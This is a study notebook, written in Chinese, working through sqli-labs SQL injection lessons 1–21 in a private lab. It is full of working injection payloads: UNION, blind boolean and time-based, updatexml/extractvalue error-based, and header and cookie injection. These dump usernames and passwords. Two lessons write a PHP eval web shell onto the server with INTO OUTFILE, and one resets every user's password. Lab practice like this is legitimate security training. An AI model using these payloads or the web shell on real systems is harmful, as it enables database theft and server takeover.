[NOTE] sqli-labs Basic Challenges
文章目录
- [NOTE] sqli-labs Basic Challenges
- 前言
- Less-1: GET-Error based-Single quotes–String
- Less-2: GET-Error based-Intiger based
- Less-3: GET-Error based-Single quotes with twist-String
- Less-4: GET-Error based-Double Quotes-String
- Less-5: GET-Double Injection-Single Quotes-String
- Less-6: GET-Double Injection-Double Quotes-String
- Less-7: GET-Dump into outfile-String
- Less-8: GET-Blind-Boolian Based-Single Quotes
- Less-9: GET-Blind-Time based-Single Quotes
- Less-10: GET-Blind-Time based-double quotes
- Less-11: POST-Error Based-Single quotes-String
- Less-12: POST-Error Based-Double quotes-String-with twist
- Less-13: POST-Double Injection-Single quotes-String-with twist
- Less-14: POST-Double Injection-Single quotes-String-with twist
- Less-15: POST-Blind-Boolian/time Based-Single quotes
- Less-16: POST-Blind-Boolian/Time Based-Double quotes
- Less-17: POST-Update Query-Error Based-String
- Less-18: POST-Header Injection-Uagent field-Error based
- Less-19: POST-Header Injection-Referer field-Error based
- Less-20: POST-Cookie injections-Uagent field-Error based
- Less-21: POST-Dump into outfile-String
前言
针对sqli-labs靶场的做题笔记
环境
虚拟机环境
攻击机:kali 10.10.10.1
靶机:ubuntu 10.10.10.2 小皮面板搭建Web服务
Less-1: GET-Error based-Single quotes–String
提示输入数字参数id
正常输入1
,我是个dumb
输入'
,报错了,顺便知道用了limit 0,1限制输出
输入?id=' or '1'='1
,回显dumb,字符型注入
?id=1' order by 3 %23
,得出字段数为3
?id=' union select 1,2,3 %23
,得到回显第2、3个字段:
然后就可以对第2、3个字段进行修改,提取我们感兴趣的信息
?id=’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
提取当前数据库中的所有表名
?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
提取users表中的所有字段名
?id=' union select 1,group_concat(username),group_concat(password) from users %23
提取users表中的所有用户名和对应的密码
Less-2: GET-Error based-Intiger based
和Less-1差不多,只是换成了数字型注入
信息获取把id对应的参数换成不存在的即可
Less-3: GET-Error based-Single quotes with twist-String
正常输入?id=1
,没啥
输入?id=’
,报这种错:
猜测查询结构类似为where id = (‘ $XXX ’)
输入?id=’) or 1=1 %23
验证,发现也回显正常了
?id=') order by 4 %23
报错,得回显字段数为3
?id=') union select 1,2,3 %23
下面略
Less-4: GET-Error based-Double Quotes-String
常规测试
/?id='
,什么都没报错
/?id="
,报错如下:
/?id=” or 1=1 %23
,报错如下:
/?id=”) or 1=1 %23,正常回显
猜测查询结构类似为where id = (“ $XXX ”)
?id=") order by 4 %23
?id=") union select 1,2,3 %23
?id=") union select 1,database(),3 %23
?id=") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
?id=") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'%23
?id=") union select 1,group_concat(username),group_concat(password) from users %23
Less-5: GET-Double Injection-Single Quotes-String
常规测试
?id=1
,显示“you are in”
?id=99
,啥也没显示
?id=’
?id=’ or ‘1’=’1
好像和之前的也没啥区别?继续?id=1’ order by 3 %23
,回显了:
?,继续尝试,得到返回字段数为3,进一步?id=' union select 1,2,3 %23
:
继续?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23
继续?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
继续?id=' union select 1,group_concat(username),group_concat(password) from users %23
搞定了,What‘s the differences??
上网了解double injection,原来是双查询注入
重新尝试
?id=1' union select 1, concat((select database()), floor(rand(14)*2)) as c, count(*) from information_schema.tables group by c %23
报错啊啊啊啊啊啊啊
首先是说什么两个数据库的字符集不同,然后又说什么
麻了,看多几遍这两个文章当会了得了:
MySQL中Double Injection原理浅析
sqli-labs level5-6 双查询注入
Less-6: GET-Double Injection-Double Quotes-String
呃,听说和Less-5一样,只是单引号变成了双引号
Less-7: GET-Dump into outfile-String
/?id=1
outfile?啥?
?id=‘
详细报错也没了
然后发现不管是单双引号加上括号都不好使了
(其实是要让前面为真,然后才跟or)
/?id=1
、/?id=1’
、/?id=1”
一三可以,二不行,字符型注入(测试不够全面)
尝试/?id=1” order by 9 %23
,发现也能显示you are in,不对劲
原来存在括号,而且是单引号包起来的变量,需要探测出来
/?id=1’))
,显示you are in
order by探测字段数:?id=1')) order by 3 %23
?id=')) union select 1,2,3 %23
,发现也只是显示you are in,看来是不会在页面显示信息了
于是百度dump into outfile
MySQL的outfile函数用于将查询结果写入到服务器文件中
因为涉及到在服务器上写入文件,所以上述函数能否成功执行受到参数secure_file_priv 的影响
然后到靶机中的my.cnf配置中新增了secure_file_priv=
这样就可以不限制上传位置了
?id=1')) union select 1,2,'<?php @eval($_POST["hack"]);?>' into outfile '/www/sqli-labs-master/shell.php' %23
虽然还是会显示有语法错误,但是实际上已经上传文件了(前提是要有对目标文件夹的写入权限(一般/tmp/会有,这里我临时改了/www/的权限))
然后蚁剑链接,只获得了/www/sqli-labs-master/的权限
Less-8: GET-Blind-Boolian Based-Single Quotes
基于布尔的盲注
/?id=1
行、/?id=1‘
不行、/?id=1”
行——字符型单引号注入
/?id=1' order by 4 %23
判断字段数为3
?id=' union select 1,2,3 %23
发现也只是显示you are in,盲注
-
猜解当前数据库名长度
/?id=' or (length(database())=8) %23
-
猜解数据库名
-
第一个字符
/?id=' or (ascii(substr(database(),1,1))<=90) %23
不对
/?id=' or (ascii(substr(database(),1,1))<=122) %23
对
说明第一个字符为小写字母(则很有可能全部字符都是小写字母)
二分法猜字母
/?id=' or (ascii(substr(database(),1,1))<=109) %23
不对
/?id=' or (ascii(substr(database(),1,1))<=115) %23
对
/?id=' or (ascii(substr(database(),1,1))<=112) %23
不对
字符为113-115,逐个试
/?id=' or (ascii(substr(database(),1,1))=115) %23
对
第一个字符为‘s‘ -
第二个字符
基于第一个字符的经验,猜测为小写字母
/?id=' or (ascii(substr(database(),2,1))<=109) %23
对
/?id=' or (ascii(substr(database(),2,1))<=103) %23
对
/?id=' or (ascii(substr(database(),2,1))<=100) %23
不对
字符为101-103,逐个试
/?id=' or (ascii(substr(database(),2,1))=101) %23
对
第二个字符为‘e‘ -
逐步猜解出数据库名为’security’
验证,/?id=' or (database()='security') %23
对
-
-
猜解数据库中表的数量
/?id=' or ((select count(table_name) from information_schema.tables where table_schema=database())=3) %23
不对
/?id=' or ((select count(table_name) from information_schema.tables where table_schema=database())=4) %23
对
说明当前数据库中表的数量为4
(其实不用猜数据库名?) -
猜解数据库中表名的长度
- 第一个表名长度
/?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1))=5) %23
不对
/?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1))=6) %23
对
说明第一个表名的长度为6 - 第二个表名长度
/?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1), 1))=7) %23
不对
/?id=' or (length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1), 1))=8) %23
对
说明第二个表名的长度为8 - 逐步猜解出四个表的表名长度依次为6、8、7、5(适当使用二分法)
- 第一个表名长度
-
猜解数据库中的表名
- 第一个表名
猜表名很可能和数据库名一样是全小写
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=109) %23
对
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=103) %23
对
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<=100) %23
错
字符为101-103,逐个试
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) %23
对
第一个字符为‘e‘
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109) %23
对
第二个字符为‘m‘
逐步猜出第一个表名为‘emails‘
或者猜出前两三个字符,配合长度为5,可以直接猜是‘emails‘
验证,/?id=' or ((select table_name from information_schema.tables where table_schema=database() limit 0,1)='emails') %23
对 - 第二个表名
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114) %23
对
第一个字符为‘r’
/?id=' or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101) %23
对
第二个字符为‘e’
逐步猜出第二个表名为‘referers’ - 第三个表名为‘uagents’
- 第四个表名为‘users’
- 第一个表名
-
猜解users表的字段数
?id=' or ((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3) %23
对
users有3个字段 -
猜解users表每个字段名的长度
/?id=' or ((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1)))=2) %23
对
第一个字段名长2
/?id=' or ((length(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1)))=8) %23
对
第二个字段名长8
逐步猜解三个字段名依次长2、8、8 -
猜解users表的每个字段名
- 第一个字段名
/?id=' or (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105) %23
对
第一个字符为‘i’
完整名字是‘id’ - 第二个字段名
/?id=' or (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=112) %23
对
第一个字符为‘p’
第二个字符为‘a’
结合长度为8,表名为‘users’,猜测为‘password’
验证,/?id=' or ((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1)='password') %23
对 - 第三个字段名为‘username’
- 第一个字段名
-
猜解username字段中值的数量
/?id=' or ((select count(username) from users)=13) %23
对
有13个用户 -
猜解最后一个用户名的长度
/?id=' or (length(substr((select username from users limit 12,1),1))=6) %23
对
最后一个用户名长6 -
猜解最后一个用户名
这里需要注意的是,不要默认是全小写了,因为是用户名,首字母大写或者是数字或者是别的情况都有可能
/?id=' or ((ascii(substr((select username from users limit 12,1),1,1)))=97) %23
对
第一个字符为‘a’
/?id=' or ((ascii(substr((select username from users limit 12,1),2,1)))=100) %23
对
第二个字符为‘d’
第三个字符为‘m’
第四个字符为‘i’
第五个字符为‘n’
/?id=' or ((ascii(substr((select username from users limit 12,1),6,1)))=52) %23
第六个字符为‘4’
最后一个用户名为‘admin4’ -
最后给出一些直接猜测常用表名、字段名的方法
-
直接猜表名
/?id=' or ((select count(*) from information_schema.tables where table_name='users' and table_schema=database())=1) %23
对
当前数据库中存在users表 -
直接猜字段名
/?id=' or ((select count(*) from information_schema.columns where column_name='username' and table_name='users')=1) %23
users表中存在username字段 -
直接猜字段值
/?id=' or ((select count(*) from users where username='admin')=1) %23
users表中存在admin用户
-
手工注入真丁8累,跑跑sqlmap爽一下
爽中爽!!!
Less-9: GET-Blind-Time based-Single Quotes
基于时间的盲注,完全不会,先去学习一波
原来,这时候的页面无论给id传什么值,是对是错都会显示you are in(就等于没有任何回显信息),这时候只能通过时间延迟来判断有没有注入点
首先是if(condition,A,B)语句,若condition成立,则返回A,否则返回B
(下面的延时时间由于个人问题设的很小,实际效果也会延时挺久的)
首先是判断注入类型:
/?id=' or if(1=1,sleep(1),0) %23
:回应有延时
/?id=" or if(1=1,sleep(1),0) %23
:回应很快
/?id= or if(1=1,sleep(1),0) %23
:回应很快
说明是字符型注入,单引号
然后剩下的就和布尔盲注类似,只不过判断条件放到了if语句中,成立则延时
- 判断数据库名长度
/?id=' or if((length(database())=7),sleep(1),0) %23
,回应很快
/?id=' or if((length(database())=8),sleep(1),0) %23
,有延时
说明数据库名长度为8个字符 - 判断数据库名第一个字符
/?id=' or if((ascii(substr(database(),1,1))=115),0,sleep(0.5)) %23
,回应很快
说明第一个字符为‘s‘
下略
另外关于是对是错,什么时候延时不要限得太死,例如二分法时让错的延时,尽量让容易出现的情况延时就好
Less-10: GET-Blind-Time based-double quotes
与Less-9类似,也是字符型时间盲注,只不过是双引号
最后用sqlmap跑跑盲注
很奇怪,Less-9可以跑,Less-10却不行
Less-11: POST-Error Based-Single quotes-String
POST型,变成了账号密码登录页面
乱输,我fail了
输入‘会显示报错信息:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ and password=’’ LIMIT 0,1’ at line 1
两个都输1' or 1=1 #
,登进去了,显示用户名和密码都是dumb
字符型单引号布尔注入
发现一个问题,username和password在SQL语句中的判定顺序需要确定一下
例如:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2 #’ and password=’’ or union select 1,2 #’ LIMIT 0,1’ at line 1
是先检查username的,所以。。。。应该把注入回显放在password字段
哦,也不是,直接注第一个字段就行,我是傻逼
注POST一定要整个能够Repeat的,像是BP、控制台啥的,不然累死
针对第一个字段的注入结果:
Less-12: POST-Error Based-Double quotes-String-with twist
仅在用户名字段输入“,报错:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘""") and password=("") LIMIT 0,1’ at line 1
看来还有括号
uname=") or 1=1 #&passwd=&submit=Submit
完事啦:
剩下常规注入即可。。。
Less-13: POST-Double Injection-Single quotes-String-with twist
uname='&passwd=&submit=Submit
,报错:
单引号+括号
uname=') or 1=1 #&passwd=&submit=Submit
,不对劲:
没有具体字段的回显,只显示了正确
这就盲注了?麻了
哦哦,不是,是double injection,我是傻逼
总结一下双重注入的适用场景:正确输入无信息,结构错误输入会报错
尝试上面双重注入提到的文章的方法
发现还是会有字符集的错误,吐了
Less-14: POST-Double Injection-Single quotes-String-with twist
同上,单引号换双引号
Less-15: POST-Blind-Boolian/time Based-Single quotes
盲注,只有成功、失败/语法错误两种信息,且没有报错提示
判断出字符型单引号盲注
看一遍上面讲过的流程,然后sqlmap
Less-16: POST-Blind-Boolian/Time Based-Double quotes
同上,单引号变成了双引号+括号
sqlmap跑不出?
试试–level 5 --risk 3最高级别探测——成啦
Less-17: POST-Update Query-Error Based-String
啥玩意,更新注入?
页面变成了输入了“用户名”和“新密码”,改密码的意思吗?
而且还有个“[PASSWORD RESET]”字段显示
先试试常规注入,随便输个双一,被骂了5555555
然后试试用户名admin,密码栾树,成功了,说明admin用户存在,还被我们改了密码?
登入到网站后台,发现密码还真被改了
那么怎么脱裤呢?
这是MySQL的更新语句,猜测应该是类似于下面这种:
UPDATE table SET pwd='
X
X
′
W
H
E
R
E
u
s
e
r
n
a
m
e
=
’
XX' WHERE username=’
XX′WHEREusername=’XXX’;
那我是不是可以产生设置pwd之后注释掉后面的语句,把所有用户的密码都改成我想要的?
试试输入用户名admin,新密码输入123’ #
登入后台,发现还真全被改了:
这种漏洞应该可以用在“找回密码->设置新密码”这种地方
所以怎么脱裤。。。。冲浪去了
原来uname字段作足了过滤,无法注入(可能是为了保证更改密码流程的执行)
只能在passwd字段作注入,可以使用双重注入或updatexml()注入
passwd='or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
下面的就常规进行
updatexml()注入
是SQL语法中的函数
UPDATEXML(XML_document, XPath_string, new_value)
参数:
- XML_document是String格式,为XML文档对象的名称,文中为Doc
- XPath_string (Xpath格式的字符串) ,用于匹配第一个参数中的部分内容。(就像使用正则表达式匹配一个文本的特定内容一样)
- new_value,String格式,替换查找到的符合条件的数据。
作用:改变文档中符合条件的节点
利用updatexml函数的报错机制进行注入,原理就是当第二个参数的格式和Xpath的格式不符的时候,就会产生报错,我们可以将我们的payload构造到第二个参数中,让其随着报错信息展示到页面上
Less-18: POST-Header Injection-Uagent field-Error based
请求头注入?
发现首页还真给出了我的IP信息:
那就抓包。。。。看了一圈,发现请求头那里本身没有IP信息,要自己加?
冲浪,发现有一个X-Forwarded-For字段,不就是以前伪造是管理员的CTF题吗?
试试X-Forwarded-For:127.0.0.1,发现没改到。。。。
那就先试试常规注入,发现也都不行
呃,冲浪
如果成功登入会发现会会回显User Agent信息
那就猜注入点在请求头中的User-Agent字段
这里要求先能正确登入,才能改User-Agent字段注入
对应现实中先先注册用户再登录,再注入
由于User-Agent字段是会显示在登录成功页面中的,于是猜测是不是也是先获取字段内容,然后嵌入到显示语句中?
开始乱改,输入单引号:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘10.10.10.1’, ‘dumb’)’ at line 1
看来有SQL语句
输入’123213
:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘123213’, ‘10.10.10.1’, ‘dumb’)’ at line 1
难道SQL报错的规律是从出错的地方一直到语句末尾?
那这个很像是插入语句。。。。(好吧其实我是看过做法了)
试试1', '123', 'hack') #
:
Your User Agent is: 1’, ‘123’, ‘hack’) #
呃
冲浪,有如下的payload(updatexml注入):
' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1) or '
爆表:
' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1) or '
爆字段:
' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e), 1) or '
爆内容:
' or updatexml(1, concat(0x7e, (select group_concat(username) from users), 0x7e), 1) or '
(注意用updatexml()只能查询32位,要用substr函数逐段查询)
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 32), 0x7e), 1) or '
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 32, 32), 0x7e), 1) or '
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 64, 32), 0x7e), 1) or '
或者这种payload:
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 1, 32), 0x7e), 1), '', '' ) #
猜出要插入多少段,主动闭合,然后最后注释
extractvalue()注入
或者另一种注入:extractvalue注入——与updatexml类似
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
爆库:
' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or '
爆表:
' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)) or '
' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e)), '', '')#
下略
Less-19: POST-Header Injection-Referer field-Error based
请求头注入——Referer字段
登陆成功后是这种东西:
Referer字段改成单引号:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘10.10.10.1’)’ at line 1
猜测是上一题的insert,尝试', '', '')#
:
Column count doesn’t match value count at row 1
emmm,看来列数有变。试出这样子不会报错:', '')#
,看来是插入两列
爆库:
' or updatexml(1, concat(0x7e, (select database()), 0x7e), 1), '')#
爆表:
' or updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()), 0x7e), 1), '')#
爆字段:
' or updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'), 0x7e), 1), '')#
爆内容(注意使用substr函数分段查询):
' or updatexml(1, concat(0x7e, substr((select group_concat(username) from users), 32, 32), 0x7e), 1), '')#root
extractvalue()注入类似:
' or extractvalue(1, concat(0x7e, (select database()), 0x7e)) or ', '') #
下略
Less-20: POST-Cookie injections-Uagent field-Error based
cookie注入?User-Agent字段
乱登录,好像没啥
dumb登录:
之后由于cookie值已保存,再次刷新也是这个页面
抓刷新的包,发现有发送过去的cookie——Cookie: uname=Dumb
把uname改成dhakkan,呃,直接给出了对应的内容:
如何利用cookie字段脱裤?
从传入名字会获取密码和id来看,猜测是类似于这样的结构:
select password,id from users where username=$_COOKIE[‘uname’]
改单引号:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’ LIMIT 0,1’ at line 1
改成‘ or 1=1 #
,通过,回显id=1
剩下的就是常规注入了
dumb' order by 3 #
' union select 1,2,3 #
——回显3、1字段
' union select group_concat(table_name),2,database() from information_schema.tables where table_schema=database() #
下略
Less-21: POST-Dump into outfile-String
大概和Less-7差不多吧,只是GET改POST,吧
乱登没结果
正确登入的界面和上一题差不多,但是用户名回显的是经过base64加密后的结果
然后试了试常规地改cookie的uname值为单引号啥的,发现不太行
是不是要传入base64加密后的cookie值?
于是传入base64加密后的单引号:Jw==
发现成功报错:
check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’’) LIMIT 0,1’
于是传入') or 1=1 #
的base64加密,成功
下面就是常规注入了,只不过payload都要经过base64加密
那么Dump into outfile呢?再次复习一遍好了
只不过这里的上传webshell应该也是通过cookie来注入
试试?id=') union select 1,2,'<?php @eval($_POST["hack"]);?>' into outfile '/www/sqli-labs-master/shell.php' #
的base64编码
呃:
Issue with your mysql: The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
靶机就要有靶机的样子,去关掉了:MySQL配置文件添加:secure_file_priv=
再次尝试上传,成功(有警告)
蚁剑连接,成功,但是同样只有www用户的权限